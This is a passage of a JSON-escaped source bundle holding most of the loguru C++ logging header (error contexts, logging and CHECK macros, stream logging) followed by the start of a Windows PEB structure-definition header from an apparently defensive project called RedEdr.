str.c_str());\n\t// \t}\n\n\t// private:\n\t// \tPrinter _printer;\n\t// };\n\n\t// template<typename Printer>\n\t// EcEntryLambda<Printer> make_ec_entry_lambda(const char* file, unsigned line, const char* descr, Printer&& printer)\n\t// {\n\t// \treturn {file, line, descr, std::move(printer)};\n\t// }\n\n\ttemplate <class T>\n\tstruct decay_char_array { using type = T; };\n\n\ttemplate <unsigned long long  N>\n\tstruct decay_char_array<const char(&)[N]> { using type = const char*; };\n\n\ttemplate <class T>\n\tstruct make_const_ptr { using type = T; };\n\n\ttemplate <class T>\n\tstruct make_const_ptr<T*> { using type = const T*; };\n\n\ttemplate <class T>\n\tstruct make_ec_type { using type = typename make_const_ptr<typename decay_char_array<T>::type>::type; };\n\n\t/* \tA stack trace gives you the names of the function at the point of a crash.\n\t\tWith ERROR_CONTEXT, you can also get the values of select local variables.\n\t\tUsage:\n\n\t\tvoid process_customers(const std::string& filename)\n\t\t{\n\t\t\tERROR_CONTEXT(\"Processing file\", filename.c_str());\n\t\t\tfor (int customer_index : ...)\n\t\t\t{\n\t\t\t\tERROR_CONTEXT(\"Customer index\", customer_index);\n\t\t\t\t...\n\t\t\t}\n\t\t}\n\n\t\tThe context is in effect during the scope of the ERROR_CONTEXT.\n\t\tUse loguru::get_error_context() to get the contents of the active error contexts.\n\n\t\tExample result:\n\n\t\t------------------------------------------------\n\t\t[ErrorContext]                main.cpp:416   Processing file:    \"customers.json\"\n\t\t[ErrorContext]                main.cpp:417   Customer index:     42\n\t\t------------------------------------------------\n\n\t\tError contexts are printed automatically on crashes, and only on crashes.\n\t\tThis makes them much faster than logging the value of a variable.\n\t*/\n#define ERROR_CONTEXT(descr, data)                                             \\\n\t\tconst loguru::EcEntryData<loguru::make_ec_type<decltype(data)>::type>      \\\n\t\t\tLOGURU_ANONYMOUS_VARIABLE(error_context_scope_)(                       \\\n\t\t\t\t__FILE__, __LINE__, descr, data,                                   \\\n\t\t\t\tstatic_cast<loguru::EcEntryData<loguru::make_ec_type<decltype(data)>::type>::Printer>(loguru::ec_to_text) ) // For better error messages\n\n\t/*\n\t\t#define ERROR_CONTEXT(descr, data)                                 \\\n\t\t\tconst auto LOGURU_ANONYMOUS_VARIABLE(error_context_scope_)(    \\\n\t\t\t\tloguru::make_ec_entry_lambda(__FILE__, __LINE__, descr,    \\\n\t\t\t\t\t[=](){ return loguru::ec_to_text(data); }))\n\t*/\n\n\tusing EcHandle = const EcEntryBase*;\n\n\t/*\n\t\tGet a light-weight handle to the error context stack on this thread.\n\t\tThe handle is valid as long as the current thread has no changes to its error context stack.\n\t\tYou can pass the handle to loguru::get_error_context on another thread.\n\t\tThis can be very useful for when you have a parent thread spawning several working threads,\n\t\tand you want the error context of the parent thread to get printed (too) when there is an\n\t\terror on the child thread. You can accomplish this thusly:\n\n\t\tvoid foo(const char* parameter)\n\t\t{\n\t\t\tERROR_CONTEXT(\"parameter\", parameter)\n\t\t\tconst auto parent_ec_handle = loguru::get_thread_ec_handle();\n\n\t\t\tstd::thread([=]{\n\t\t\t\tloguru::set_thread_name(\"child thread\");\n\t\t\t\tERROR_CONTEXT(\"parent context\", parent_ec_handle);\n\t\t\t\tdangerous_code();\n\t\t\t}.join();\n\t\t}\n\n\t*/\n\tLOGURU_EXPORT\n\t\tEcHandle get_thread_ec_handle();\n\n\t// Get a string describing the current stack of error context. Empty string if there is none.\n\tLOGURU_EXPORT\n\t\tText get_error_context();\n\n\t// Get a string describing the error context of the given thread handle.\n\tLOGURU_EXPORT\n\t\tText get_error_context_for(EcHandle ec_handle);\n\n\t// ------------------------------------------------------------------------\n\n\tLOGURU_EXPORT Text ec_to_text(const char* data);\n\tLOGURU_EXPORT Text ec_to_text(char data);\n\tLOGURU_EXPORT Text ec_to_text(int data);\n\tLOGURU_EXPORT Text ec_to_text(unsigned int data);\n\tLOGURU_EXPORT Text ec_to_text(long data);\n\tLOGURU_EXPORT Text ec_to_text(unsigned long data);\n\tLOGURU_EXPORT Text ec_to_text(long long data);\n\tLOGURU_EXPORT Text ec_to_text(unsigned long long data);\n\tLOGURU_EXPORT Text ec_to_text(float data);\n\tLOGURU_EXPORT Text ec_to_text(double data);\n\tLOGURU_EXPORT Text ec_to_text(long double data);\n\tLOGURU_EXPORT Text ec_to_text(EcHandle);\n\n\t/*\n\tYou can add ERROR_CONTEXT support for your own types by overloading ec_to_text. Here's how:\n\n\tsome.hpp:\n\t\tnamespace loguru {\n\t\t\tText ec_to_text(MySmallType data)\n\t\t\tText ec_to_text(const MyBigType* data)\n\t\t} // namespace loguru\n\n\tsome.cpp:\n\t\tnamespace loguru {\n\t\t\tText ec_to_text(MySmallType small_value)\n\t\t\t{\n\t\t\t\t// Called only when needed, i.e. on a crash.\n\t\t\t\tstd::string str = small_value.as_string(); // Format 'small_value' here somehow.\n\t\t\t\treturn Text{STRDUP(str.c_str())};\n\t\t\t}\n\n\t\t\tText ec_to_text(const MyBigType* big_value)\n\t\t\t{\n\t\t\t\t// Called only when needed, i.e. on a crash.\n\t\t\t\tstd::string str = big_value->as_string(); // Format 'big_value' here somehow.\n\t\t\t\treturn Text{STRDUP(str.c_str())};\n\t\t\t}\n\t\t} // namespace loguru\n\n\tAny file that include some.hpp:\n\t\tvoid foo(MySmallType small, const MyBigType& big)\n\t\t{\n\t\t\tERROR_CONTEXT(\"Small\", small); // Copy small` by value.\n\t\t\tERROR_CONTEXT(\"Big\",   &big);  // `big` should not change during this scope!\n\t\t\t....\n\t\t}\n\t*/\n} // namespace loguru\n\nLOGURU_ANONYMOUS_NAMESPACE_END\n\n// --------------------------------------------------------------------\n// Logging macros\n\n// LOG_F(2, \"Only logged if verbosity is 2 or higher: %d\", some_number);\n#define VLOG_F(verbosity, ...)                                                                     \\\n\t((verbosity) > loguru::current_verbosity_cutoff()) ? (void)0                                   \\\n\t\t\t\t\t\t\t\t\t  : loguru::log(verbosity, __FILE__, __LINE__, __VA_ARGS__)\n\n// LOG_F(INFO, \"Foo: %d\", some_number);\n#define LOG_F(verbosity_name, ...) VLOG_F(loguru::Verbosity_ ## verbosity_name, __VA_ARGS__)\n\n#define VLOG_IF_F(verbosity, cond, ...)                                                            \\\n\t((verbosity) > loguru::current_verbosity_cutoff() || (cond) == false)                          \\\n\t\t? (void)0                                                                                  \\\n\t\t: loguru::log(verbosity, __FILE__, __LINE__, __VA_ARGS__)\n\n#define LOG_IF_F(verbosity_name, cond, ...)                                                        \\\n\tVLOG_IF_F(loguru::Verbosity_ ## verbosity_name, cond, __VA_ARGS__)\n\n#define VLOG_SCOPE_F(verbosity, ...)                                                               \\\n\tloguru::LogScopeRAII LOGURU_ANONYMOUS_VARIABLE(error_context_RAII_) =                          \\\n\t((verbosity) > loguru::current_verbosity_cutoff()) ? loguru::LogScopeRAII() :                  \\\n\tloguru::LogScopeRAII(verbosity, __FILE__, __LINE__, __VA_ARGS__)\n\n// Raw logging - no preamble, no indentation. Slightly faster than full logging.\n#define RAW_VLOG_F(verbosity, ...)                                                                 \\\n\t((verbosity) > loguru::current_verbosity_cutoff()) ? (void)0                                   \\\n\t\t\t\t\t\t\t\t\t  : loguru::raw_log(verbosity, __FILE__, __LINE__, __VA_ARGS__)\n\n#define RAW_LOG_F(verbosity_name, ...) RAW_VLOG_F(loguru::Verbosity_ ## verbosity_name, __VA_ARGS__)\n\n// Use to book-end a scope. Affects logging on all threads.\n#define LOG_SCOPE_F(verbosity_name, ...)                                                           \\\n\tVLOG_SCOPE_F(loguru::Verbosity_ ## verbosity_name, __VA_ARGS__)\n\n#define LOG_SCOPE_FUNCTION(verbosity_name) LOG_SCOPE_F(verbosity_name, __func__)\n\n// -----------------------------------------------\n// ABORT_F macro. Usage:  ABORT_F(\"Cause of error: %s\", error_str);\n\n// Message is optional\n#define ABORT_F(...) loguru::log_and_abort(0, \"ABORT: \", __FILE__, __LINE__, __VA_ARGS__)\n\n// --------------------------------------------------------------------\n// CHECK_F macros:\n\n#define CHECK_WITH_INFO_F(test, info, ...)                                                         \\\n\tLOGURU_PREDICT_TRUE((test) == true) ? (void)0 : loguru::log_and_abort(0, \"CHECK FAILED:  \" info \"  \", __FILE__,      \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t   __LINE__, ##__VA_ARGS__)\n\n/* Checked at runtime too. Will print error, then call fatal_handler (if any), then 'abort'.\n   Note that the test must be boolean.\n   CHECK_F(ptr); will not compile, but CHECK_F(ptr != nullptr); will. */\n#define CHECK_F(test, ...) CHECK_WITH_INFO_F(test, #test, ##__VA_ARGS__)\n\n#define CHECK_NOTNULL_F(x, ...) CHECK_WITH_INFO_F((x) != nullptr, #x \" != nullptr\", ##__VA_ARGS__)\n\n#define CHECK_OP_F(expr_left, expr_right, op, ...)                                                 \\\n\tdo                                                                                             \\\n\t{                                                                                              \\\n\t\tauto val_left = expr_left;                                                                 \\\n\t\tauto val_right = expr_right;                                                               \\\n\t\tif (! LOGURU_PREDICT_TRUE(val_left op val_right))                                          \\\n\t\t{                                                                                          \\\n\t\t\tauto str_left = loguru::format_value(val_left);                                        \\\n\t\t\tauto str_right = loguru::format_value(val_right);                                      \\\n\t\t\tauto fail_info = loguru::textprintf(\"CHECK FAILED:  \" LOGURU_FMT(s) \" \" LOGURU_FMT(s) \" \" LOGURU_FMT(s) \"  (\" LOGURU_FMT(s) \" \" LOGURU_FMT(s) \" \" LOGURU_FMT(s) \")  \",           \\\n\t\t\t\t#expr_left, #op, #expr_right, str_left.c_str(), #op, str_right.c_str());           \\\n\t\t\tauto user_msg = loguru::textprintf(__VA_ARGS__);                                       \\\n\t\t\tloguru::log_and_abort(0, fail_info.c_str(), __FILE__, __LINE__,                        \\\n\t\t\t                      LOGURU_FMT(s), user_msg.c_str());                                         \\\n\t\t}                                                                                          \\\n\t} while (false)\n\n#ifndef LOGURU_DEBUG_LOGGING\n#ifndef NDEBUG\n#define LOGURU_DEBUG_LOGGING 1\n#else\n#define LOGURU_DEBUG_LOGGING 0\n#endif\n#endif\n\n#if LOGURU_DEBUG_LOGGING\n   // Debug logging enabled:\n#define DLOG_F(verbosity_name, ...)     LOG_F(verbosity_name, __VA_ARGS__)\n#define DVLOG_F(verbosity, ...)         VLOG_F(verbosity, __VA_ARGS__)\n#define DLOG_IF_F(verbosity_name, ...)  LOG_IF_F(verbosity_name, __VA_ARGS__)\n#define DVLOG_IF_F(verbosity, ...)      VLOG_IF_F(verbosity, __VA_ARGS__)\n#define DRAW_LOG_F(verbosity_name, ...) RAW_LOG_F(verbosity_name, __VA_ARGS__)\n#define DRAW_VLOG_F(verbosity, ...)     RAW_VLOG_F(verbosity, __VA_ARGS__)\n#else\n   // Debug logging disabled:\n#define DLOG_F(verbosity_name, ...)\n#define DVLOG_F(verbosity, ...)\n#define DLOG_IF_F(verbosity_name, ...)\n#define DVLOG_IF_F(verbosity, ...)\n#define DRAW_LOG_F(verbosity_name, ...)\n#define DRAW_VLOG_F(verbosity, ...)\n#endif\n\n#define CHECK_EQ_F(a, b, ...) CHECK_OP_F(a, b, ==, ##__VA_ARGS__)\n#define CHECK_NE_F(a, b, ...) CHECK_OP_F(a, b, !=, ##__VA_ARGS__)\n#define CHECK_LT_F(a, b, ...) CHECK_OP_F(a, b, < , ##__VA_ARGS__)\n#define CHECK_GT_F(a, b, ...) CHECK_OP_F(a, b, > , ##__VA_ARGS__)\n#define CHECK_LE_F(a, b, ...) CHECK_OP_F(a, b, <=, ##__VA_ARGS__)\n#define CHECK_GE_F(a, b, ...) CHECK_OP_F(a, b, >=, ##__VA_ARGS__)\n\n#ifndef LOGURU_DEBUG_CHECKS\n#ifndef NDEBUG\n#define LOGURU_DEBUG_CHECKS 1\n#else\n#define LOGURU_DEBUG_CHECKS 0\n#endif\n#endif\n\n#if LOGURU_DEBUG_CHECKS\n\t// Debug checks enabled:\n#define DCHECK_F(test, ...)             CHECK_F(test, ##__VA_ARGS__)\n#define DCHECK_NOTNULL_F(x, ...)        CHECK_NOTNULL_F(x, ##__VA_ARGS__)\n#define DCHECK_EQ_F(a, b, ...)          CHECK_EQ_F(a, b, ##__VA_ARGS__)\n#define DCHECK_NE_F(a, b, ...)          CHECK_NE_F(a, b, ##__VA_ARGS__)\n#define DCHECK_LT_F(a, b, ...)          CHECK_LT_F(a, b, ##__VA_ARGS__)\n#define DCHECK_LE_F(a, b, ...)          CHECK_LE_F(a, b, ##__VA_ARGS__)\n#define DCHECK_GT_F(a, b, ...)          CHECK_GT_F(a, b, ##__VA_ARGS__)\n#define DCHECK_GE_F(a, b, ...)          CHECK_GE_F(a, b, ##__VA_ARGS__)\n#else\n\t// Debug checks disabled:\n#define DCHECK_F(test, ...)\n#define DCHECK_NOTNULL_F(x, ...)\n#define DCHECK_EQ_F(a, b, ...)\n#define DCHECK_NE_F(a, b, ...)\n#define DCHECK_LT_F(a, b, ...)\n#define DCHECK_LE_F(a, b, ...)\n#define DCHECK_GT_F(a, b, ...)\n#define DCHECK_GE_F(a, b, ...)\n#endif // NDEBUG\n\n\n#if LOGURU_REDEFINE_ASSERT\n#undef assert\n#ifndef NDEBUG\n\t// Debug:\n#define assert(test) CHECK_WITH_INFO_F(!!(test), #test) // HACK\n#else\n#define assert(test)\n#endif\n#endif // LOGURU_REDEFINE_ASSERT\n\n#endif // LOGURU_HAS_DECLARED_FORMAT_HEADER\n\n// ----------------------------------------------------------------------------\n// .dP\"Y8 888888 88\"\"Yb 888888    db    8b    d8 .dP\"Y8\n// `Ybo.\"   88   88__dP 88__     dPYb   88b  d88 `Ybo.\"\n// o.`Y8b   88   88\"Yb  88\"\"    dP__Yb  88YbdP88 o.`Y8b\n// 8bodP'   88   88  Yb 888888 dP\"\"\"\"Yb 88 YY 88 8bodP'\n\n#if LOGURU_WITH_STREAMS\n#ifndef LOGURU_HAS_DECLARED_STREAMS_HEADER\n#define LOGURU_HAS_DECLARED_STREAMS_HEADER\n\n/* This file extends loguru to enable std::stream-style logging, a la Glog.\n   It's an optional feature behind the LOGURU_WITH_STREAMS settings\n   because including it everywhere will slow down compilation times.\n*/\n\n#include <cstdarg>\n#include <sstream> // Adds about 38 kLoC on clang.\n#include <string>\n\nLOGURU_ANONYMOUS_NAMESPACE_BEGIN\n\nnamespace loguru\n{\n\t// Like sprintf, but returns the formated text.\n\tLOGURU_EXPORT\n\t\tstd::string strprintf(LOGURU_FORMAT_STRING_TYPE format, ...) LOGURU_PRINTF_LIKE(1, 2);\n\n\t// Like vsprintf, but returns the formated text.\n\tLOGURU_EXPORT\n\t\tstd::string vstrprintf(LOGURU_FORMAT_STRING_TYPE format, va_list) LOGURU_PRINTF_LIKE(1, 0);\n\n\tclass LOGURU_EXPORT StreamLogger\n\t{\n\tpublic:\n\t\tStreamLogger(Verbosity verbosity, const char* file, unsigned line) : _verbosity(verbosity), _file(file), _line(line) {}\n\t\t~StreamLogger() noexcept(false);\n\n\t\ttemplate<typename T>\n\t\tStreamLogger& operator<<(const T& t)\n\t\t{\n\t\t\t_ss << t;\n\t\t\treturn *this;\n\t\t}\n\n\t\t// std::endl and other iomanip:s.\n\t\tStreamLogger& operator<<(std::ostream& (*f)(std::ostream&))\n\t\t{\n\t\t\tf(_ss);\n\t\t\treturn *this;\n\t\t}\n\n\tprivate:\n\t\tVerbosity   _verbosity;\n\t\tconst char* _file;\n\t\tunsigned    _line;\n\t\tstd::ostringstream _ss;\n\t};\n\n\tclass LOGURU_EXPORT AbortLogger\n\t{\n\tpublic:\n\t\tAbortLogger(const char* expr, const char* file, unsigned line) : _expr(expr), _file(file), _line(line) { }\n\t\tLOGURU_NORETURN ~AbortLogger() noexcept(false);\n\n\t\ttemplate<typename T>\n\t\tAbortLogger& operator<<(const T& t)\n\t\t{\n\t\t\t_ss << t;\n\t\t\treturn *this;\n\t\t}\n\n\t\t// std::endl and other iomanip:s.\n\t\tAbortLogger& operator<<(std::ostream& (*f)(std::ostream&))\n\t\t{\n\t\t\tf(_ss);\n\t\t\treturn *this;\n\t\t}\n\n\tprivate:\n\t\tconst char* _expr;\n\t\tconst char* _file;\n\t\tunsigned           _line;\n\t\tstd::ostringstream _ss;\n\t};\n\n\tclass LOGURU_EXPORT Voidify\n\t{\n\tpublic:\n\t\tVoidify() {}\n\t\t// This has to be an operator with a precedence lower than << but higher than ?:\n\t\tvoid operator&(const StreamLogger&) { }\n\t\tvoid operator&(const AbortLogger&) { }\n\t};\n\n\t/*  Helper functions for CHECK_OP_S macro.\n\t\tGLOG trick: The (int, int) specialization works around the issue that the compiler\n\t\twill not instantiate the template version of the function on values of unnamed enum type. */\n#define DEFINE_CHECK_OP_IMPL(name, op)                                                             \\\n\t\ttemplate <typename T1, typename T2>                                                            \\\n\t\tinline std::string* name(const char* expr, const T1& v1, const char* op_str, const T2& v2)     \\\n\t\t{                                                                                              \\\n\t\t\tif (LOGURU_PREDICT_TRUE(v1 op v2)) { return NULL; }                                        \\\n\t\t\tstd::ostringstream ss;                                                                     \\\n\t\t\tss << \"CHECK FAILED:  \" << expr << \"  (\" << v1 << \" \" << op_str << \" \" << v2 << \")  \";     \\\n\t\t\treturn new std::string(ss.str());                                                          \\\n\t\t}                                                                                              \\\n\t\tinline std::string* name(const char* expr, int v1, const char* op_str, int v2)                 \\\n\t\t{                                                                                              \\\n\t\t\treturn name<int, int>(expr, v1, op_str, v2);                                               \\\n\t\t}\n\n\tDEFINE_CHECK_OP_IMPL(check_EQ_impl, == )\n\t\tDEFINE_CHECK_OP_IMPL(check_NE_impl, != )\n\t\tDEFINE_CHECK_OP_IMPL(check_LE_impl, <= )\n\t\tDEFINE_CHECK_OP_IMPL(check_LT_impl, < )\n\t\tDEFINE_CHECK_OP_IMPL(check_GE_impl, >= )\n\t\tDEFINE_CHECK_OP_IMPL(check_GT_impl, > )\n#undef DEFINE_CHECK_OP_IMPL\n\n\t\t/*  GLOG trick: Function is overloaded for integral types to allow static const integrals\n\t\t\tdeclared in classes and not defined to be used as arguments to CHECK* macros. */\n\t\ttemplate <class T>\n\tinline const T& referenceable_value(const T& t) { return t; }\n\tinline char               referenceable_value(char               t) { return t; }\n\tinline unsigned char      referenceable_value(unsigned char      t) { return t; }\n\tinline signed char        referenceable_value(signed char        t) { return t; }\n\tinline short              referenceable_value(short              t) { return t; }\n\tinline unsigned short     referenceable_value(unsigned short     t) { return t; }\n\tinline int                referenceable_value(int                t) { return t; }\n\tinline unsigned int       referenceable_value(unsigned int       t) { return t; }\n\tinline long               referenceable_value(long               t) { return t; }\n\tinline unsigned long      referenceable_value(unsigned long      t) { return t; }\n\tinline long long          referenceable_value(long long          t) { return t; }\n\tinline unsigned long long referenceable_value(unsigned long long t) { return t; }\n} // namespace loguru\n\nLOGURU_ANONYMOUS_NAMESPACE_END\n\n// -----------------------------------------------\n// Logging macros:\n\n// usage:  LOG_STREAM(INFO) << \"Foo \" << std::setprecision(10) << some_value;\n#define VLOG_IF_S(verbosity, cond)                                                                 \\\n\t((verbosity) > loguru::current_verbosity_cutoff() || (cond) == false)                          \\\n\t\t? (void)0                                                                                  \\\n\t\t: loguru::Voidify() & loguru::StreamLogger(verbosity, __FILE__, __LINE__)\n#define LOG_IF_S(verbosity_name, cond) VLOG_IF_S(loguru::Verbosity_ ## verbosity_name, cond)\n#define VLOG_S(verbosity)              VLOG_IF_S(verbosity, true)\n#define LOG_S(verbosity_name)          VLOG_S(loguru::Verbosity_ ## verbosity_name)\n\n// -----------------------------------------------\n// ABORT_S macro. Usage:  ABORT_S() << \"Causo of error: \" << details;\n\n#define ABORT_S() loguru::Voidify() & loguru::AbortLogger(\"ABORT: \", __FILE__, __LINE__)\n\n// -----------------------------------------------\n// CHECK_S macros:\n\n#define CHECK_WITH_INFO_S(cond, info)                                                              \\\n\tLOGURU_PREDICT_TRUE((cond) == true)                                                            \\\n\t\t? (void)0                                                                                  \\\n\t\t: loguru::Voidify() & loguru::AbortLogger(\"CHECK FAILED:  \" info \"  \", __FILE__, __LINE__)\n\n#define CHECK_S(cond) CHECK_WITH_INFO_S(cond, #cond)\n#define CHECK_NOTNULL_S(x) CHECK_WITH_INFO_S((x) != nullptr, #x \" != nullptr\")\n\n#define CHECK_OP_S(function_name, expr1, op, expr2)                                                \\\n\twhile (auto error_string = loguru::function_name(#expr1 \" \" #op \" \" #expr2,                    \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t loguru::referenceable_value(expr1), #op,      \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t loguru::referenceable_value(expr2)))          \\\n\t\tloguru::AbortLogger(error_string->c_str(), __FILE__, __LINE__)\n\n#define CHECK_EQ_S(expr1, expr2) CHECK_OP_S(check_EQ_impl, expr1, ==, expr2)\n#define CHECK_NE_S(expr1, expr2) CHECK_OP_S(check_NE_impl, expr1, !=, expr2)\n#define CHECK_LE_S(expr1, expr2) CHECK_OP_S(check_LE_impl, expr1, <=, expr2)\n#define CHECK_LT_S(expr1, expr2) CHECK_OP_S(check_LT_impl, expr1, < , expr2)\n#define CHECK_GE_S(expr1, expr2) CHECK_OP_S(check_GE_impl, expr1, >=, expr2)\n#define CHECK_GT_S(expr1, expr2) CHECK_OP_S(check_GT_impl, expr1, > , expr2)\n\n#if LOGURU_DEBUG_LOGGING\n\t// Debug logging enabled:\n#define DVLOG_IF_S(verbosity, cond)     VLOG_IF_S(verbosity, cond)\n#define DLOG_IF_S(verbosity_name, cond) LOG_IF_S(verbosity_name, cond)\n#define DVLOG_S(verbosity)              VLOG_S(verbosity)\n#define DLOG_S(verbosity_name)          LOG_S(verbosity_name)\n#else\n\t// Debug logging disabled:\n#define DVLOG_IF_S(verbosity, cond)                                                     \\\n\t\t(true || (verbosity) > loguru::current_verbosity_cutoff() || (cond) == false)       \\\n\t\t\t? (void)0                                                                       \\\n\t\t\t: loguru::Voidify() & loguru::StreamLogger(verbosity, __FILE__, __LINE__)\n\n#define DLOG_IF_S(verbosity_name, cond) DVLOG_IF_S(loguru::Verbosity_ ## verbosity_name, cond)\n#define DVLOG_S(verbosity)              DVLOG_IF_S(verbosity, true)\n#define DLOG_S(verbosity_name)          DVLOG_S(loguru::Verbosity_ ## verbosity_name)\n#endif\n\n#if LOGURU_DEBUG_CHECKS\n\t// Debug checks enabled:\n#define DCHECK_S(cond)                  CHECK_S(cond)\n#define DCHECK_NOTNULL_S(x)             CHECK_NOTNULL_S(x)\n#define DCHECK_EQ_S(a, b)               CHECK_EQ_S(a, b)\n#define DCHECK_NE_S(a, b)               CHECK_NE_S(a, b)\n#define DCHECK_LT_S(a, b)               CHECK_LT_S(a, b)\n#define DCHECK_LE_S(a, b)               CHECK_LE_S(a, b)\n#define DCHECK_GT_S(a, b)               CHECK_GT_S(a, b)\n#define DCHECK_GE_S(a, b)               CHECK_GE_S(a, b)\n#else\n// Debug checks disabled:\n#define DCHECK_S(cond)                  CHECK_S(true || (cond))\n#define DCHECK_NOTNULL_S(x)             CHECK_S(true || (x) != nullptr)\n#define DCHECK_EQ_S(a, b)               CHECK_S(true || (a) == (b))\n#define DCHECK_NE_S(a, b)               CHECK_S(true || (a) != (b))\n#define DCHECK_LT_S(a, b)               CHECK_S(true || (a) <  (b))\n#define DCHECK_LE_S(a, b)               CHECK_S(true || (a) <= (b))\n#define DCHECK_GT_S(a, b)               CHECK_S(true || (a) >  (b))\n#define DCHECK_GE_S(a, b)               CHECK_S(true || (a) >= (b))\n#endif\n\n#if LOGURU_REPLACE_GLOG\n#undef LOG\n#undef VLOG\n#undef LOG_IF\n#undef VLOG_IF\n#undef CHECK\n#undef CHECK_NOTNULL\n#undef CHECK_EQ\n#undef CHECK_NE\n#undef CHECK_LT\n#undef CHECK_LE\n#undef CHECK_GT\n#undef CHECK_GE\n#undef DLOG\n#undef DVLOG\n#undef DLOG_IF\n#undef DVLOG_IF\n#undef DCHECK\n#undef DCHECK_NOTNULL\n#undef DCHECK_EQ\n#undef DCHECK_NE\n#undef DCHECK_LT\n#undef DCHECK_LE\n#undef DCHECK_GT\n#undef DCHECK_GE\n#undef VLOG_IS_ON\n\n#define LOG            LOG_S\n#define VLOG           VLOG_S\n#define LOG_IF         LOG_IF_S\n#define VLOG_IF        VLOG_IF_S\n#define CHECK(cond)    CHECK_S(!!(cond))\n#define CHECK_NOTNULL  CHECK_NOTNULL_S\n#define CHECK_EQ       CHECK_EQ_S\n#define CHECK_NE       CHECK_NE_S\n#define CHECK_LT       CHECK_LT_S\n#define CHECK_LE       CHECK_LE_S\n#define CHECK_GT       CHECK_GT_S\n#define CHECK_GE       CHECK_GE_S\n#define DLOG           DLOG_S\n#define DVLOG          DVLOG_S\n#define DLOG_IF        DLOG_IF_S\n#define DVLOG_IF       DVLOG_IF_S\n#define DCHECK         DCHECK_S\n#define DCHECK_NOTNULL DCHECK_NOTNULL_S\n#define DCHECK_EQ      DCHECK_EQ_S\n#define DCHECK_NE      DCHECK_NE_S\n#define DCHECK_LT      DCHECK_LT_S\n#define DCHECK_LE      DCHECK_LE_S\n#define DCHECK_GT      DCHECK_GT_S\n#define DCHECK_GE      DCHECK_GE_S\n#define VLOG_IS_ON(verbosity) ((verbosity) <= loguru::current_verbosity_cutoff())\n\n#endif // LOGURU_REPLACE_GLOG\n\n#endif // LOGURU_WITH_STREAMS\n\n#endif // LOGURU_HAS_DECLARED_STREAMS_HEADER"
  },
  {
    "path": "RedEdrShared/mypeb.h",
    "content": "#pragma once\n\n#include <stdio.h>\n#include <windows.h>\n#include <iostream>\n#include <string>\n#include <vector>\n\n\n// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpebteb.h\n\n// private\ntypedef struct _API_SET_NAMESPACE\n{\n    ULONG Version;\n    ULONG Size;\n    ULONG Flags;\n    ULONG Count;\n    ULONG EntryOffset;\n    ULONG HashOffset;\n    ULONG HashFactor;\n} API_SET_NAMESPACE, * PAPI_SET_NAMESPACE;\n\n// private\ntypedef struct _API_SET_HASH_ENTRY\n{\n    ULONG Hash;\n    ULONG Index;\n} API_SET_HASH_ENTRY, * PAPI_SET_HASH_ENTRY;\n\n// private\ntypedef struct _API_SET_NAMESPACE_ENTRY\n{\n    ULONG Flags;\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG HashedLength;\n    ULONG ValueOffset;\n    ULONG ValueCount;\n} API_SET_NAMESPACE_ENTRY, * PAPI_SET_NAMESPACE_ENTRY;\n\n// private\ntypedef struct _API_SET_VALUE_ENTRY\n{\n    ULONG Flags;\n    ULONG NameOffset;\n    ULONG NameLength;\n    ULONG ValueOffset;\n    ULONG ValueLength;\n} API_SET_VALUE_ENTRY, * PAPI_SET_VALUE_ENTRY;\n\n// private\ntypedef struct _TELEMETRY_COVERAGE_HEADER\n{\n    UCHAR MajorVersion;\n    UCHAR MinorVersion;\n    struct\n    {\n        USHORT TracingEnabled : 1;\n        USHORT Reserved1 : 15;\n    };\n    ULONG HashTableEntries;\n    ULONG HashIndexMask;\n    ULONG TableUpdateVersion;\n    ULONG TableSizeInBytes;\n    ULONG LastResetTick;\n    ULONG ResetRound;\n    ULONG Reserved2;\n    ULONG RecordedCount;\n    ULONG Reserved3[4];\n    ULONG HashTable[ANYSIZE_ARRAY];\n} TELEMETRY_COVERAGE_HEADER, * PTELEMETRY_COVERAGE_HEADER;\n\n\ntypedef struct _RTL_BITMAP* PRTL_BITMAP;\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS* PRTL_USER_PROCESS_PARAMETERS;\ntypedef struct _RTL_CRITICAL_SECTION* PRTL_CRITICAL_SECTION;\ntypedef struct _SILO_USER_SHARED_DATA* PSILO_USER_SHARED_DATA;\ntypedef struct _LEAP_SECOND_DATA* PLEAP_SECOND_DATA;\n\n\n#define GDI_HANDLE_BUFFER_SIZE64 60\n#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64\ntypedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];\n\ntypedef struct _ACTIVATION_CONTEXT_DATA\n{\n    ULONG Magic;\n    ULONG HeaderSize;\n    ULONG FormatVersion;\n    ULONG TotalSize;\n    ULONG DefaultTocOffset; // to ACTIVATION_CONTEXT_DATA_TOC_HEADER\n    ULONG ExtendedTocOffset; // to ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER\n    ULONG AssemblyRosterOffset; // to ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER\n    ULONG Flags; // ACTIVATION_CONTEXT_FLAG_*\n} ACTIVATION_CONTEXT_DATA, * PACTIVATION_CONTEXT_DATA;\n\n\ntypedef struct _ASSEMBLY_STORAGE_MAP_ENTRY\n{\n    ULONG Flags;\n    UNICODE_STRING DosPath;\n    HANDLE Handle;\n} ASSEMBLY_STORAGE_MAP_ENTRY, * PASSEMBLY_STORAGE_MAP_ENTRY;\n\ntypedef struct _ASSEMBLY_STORAGE_MAP\n{\n    ULONG Flags;\n    ULONG AssemblyCount;\n    PASSEMBLY_STORAGE_MAP_ENTRY* AssemblyArray;\n} ASSEMBLY_STORAGE_MAP, * PASSEMBLY_STORAGE_MAP;\n\n\n\ntypedef struct _CURDIR\n{\n    UNICODE_STRING DosPath;\n    HANDLE Handle;\n} CURDIR, * PCURDIR;\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\n{\n    USHORT Flags;\n    USHORT Length;\n    ULONG TimeStamp;\n    STRING DosPath;\n} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;\n\n#define RTL_MAX_DRIVE_LETTERS 32\n\ntypedef struct _MY_RTL_USER_PROCESS_PARAMETERS\n{\n    ULONG MaximumLength;\n    ULONG Length;\n\n    ULONG Flags;\n    ULONG DebugFlags;\n\n    HANDLE ConsoleHandle;\n    ULONG ConsoleFlags;\n    HANDLE StandardInput;\n    